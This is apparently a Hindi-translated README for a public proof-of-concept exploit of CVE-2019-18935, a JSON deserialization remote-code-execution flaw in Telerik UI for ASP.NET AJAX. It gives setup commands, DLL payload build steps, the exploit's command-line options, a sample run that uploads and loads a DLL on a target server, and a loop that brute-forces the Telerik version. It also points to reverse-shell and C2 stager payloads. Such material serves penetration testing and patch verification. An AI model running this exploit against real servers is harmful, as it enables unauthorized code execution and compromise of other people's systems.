
Telerik UI for ASP.NET AJAX में .NET JSON deserialization भेद्यता के लिए RCE एक्सप्लॉइट।
Telerik UI for ASP.NET AJAX में एक .NET JSON डिसीरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो रिमोट कोड निष्पादन की अनुमति देता है।
Telerik UI for ASP.NET AJAX वेब अनुप्रयोगों के लिए UI घटकों का एक व्यापक रूप से उपयोग किया जाने वाला सुइट है। यह JSON ऑब्जेक्ट्स को असुरक्षित रूप से डिसीरियलाइज़ करता है, जिसके परिणामस्वरूप सॉफ़्टवेयर के अंतर्निहित होस्ट पर मनमाना रिमोट कोड निष्पादन होता है। अधिक जानकारी के लिए, देखें:
build-dll.bat का उपयोग करके मिक्स्ड-मोड .NET असेंबली DLL पेलोड संकलित करने के लिए आपके पास Visual Studio और .NET Framework SDK इंस्टॉल होना आवश्यक है।
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
यह एक्सप्लॉइट RAU_crypto से एन्क्रिप्शन लॉजिक का उपयोग करता है। RAU_crypto.py के भीतर RAUCipher क्लास PyCryptodome पर निर्भर करती है, जो मृत PyCrypto मॉड्यूल का ड्रॉप-इन विकल्प है। PyCryptodome और PyCrypto एक ही वातावरण में इंस्टॉल होने पर समस्याएँ उत्पन्न करते हैं, इसलिए इस निर्भरता को पूरा करने का सर्वोत्तम तरीका मॉड्यूल को वर्चुअल वातावरण के भीतर इंस्टॉल करना है, जैसा ऊपर दिखाया गया है।
build-dll.bat की पंक्ति 17 को अपने Visual Studio इंस्टॉलेशन के पथ पर इंगित करें।
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
कुछ पेलोड (जैसे, reverse-shell.c और sliver-stager.c) के लिए आपको अपने C2 सर्वर की ओर इंगित करने हेतु HOST और PORT फ़ील्ड सेट करना आवश्यक है—ऐसा करना सुनिश्चित करें!
Visual Studio इंस्टॉल किए हुए Windows वातावरण में, डिसीरियलाइज़ेशन के दौरान पेलोड के रूप में उपयोग हेतु 32- और 64-बिट मिक्स्ड मोड असेंबली DLL उत्पन्न करने के लिए build-dll.bat का उपयोग करें। आप वैकल्पिक रूप से दूसरे CLI तर्क के रूप में लक्ष्य CPU आर्किटेक्चर निर्दिष्ट कर सकते हैं (जैसे, x86)।
build-dll.bat sleep.c
CVE-2019-18935.py को ऊपर उत्पन्न DLL पास करें, जो DLL को लक्ष्य सर्वर पर एक निर्देशिका में अपलोड करेगा (बशर्ते कि वेब सर्वर के पास उस निर्देशिका में लेखन अनुमतियाँ हों) और फिर असुरक्षित डिसीरियलाइज़ेशन एक्सप्लॉइट के माध्यम से उस DLL को अनुप्रयोग में लोड करेगा।
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
उपरोक्त उदाहरण में, अनुप्रयोग को प्रतिक्रिया देने में कम से कम 10 सेकंड लगे, जो दर्शाता है कि DLL पेलोड ने सफलतापूर्वक Sleep(10000) को कॉल किया।
जैसा कि DerpCon वार्ता .NET Roulette (39:46) में विस्तार से बताया गया है, हम फ़ाइल अपलोड करते समय केवल Telerik.Web.UI असेंबली का मुख्य (major) संस्करण (अर्थात, पूर्ण संस्करण स्ट्रिंग 2017.2.503.40 का 2017 भाग) निर्दिष्ट करके Telerik UI संस्करण को ब्रूट-फोर्स कर सकते हैं। यह तकनीक इस सॉफ़्टवेयर के प्रत्येक विशिष्ट रिलीज़ को ब्रूट-फोर्स करने की तुलना में खोज स्थान को काफी कम कर देती है—और, एक अतिरिक्त लाभ के रूप में, यह उन संस्करणों का भी पता लगा सकती है जो इस सॉफ़्टवेयर के रिलीज़ इतिहास में स्पष्ट रूप से सूचीबद्ध नहीं हैं। MSDN पर .NET असेंबली वर्ज़निंग के बारे में अधिक जानें।
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018: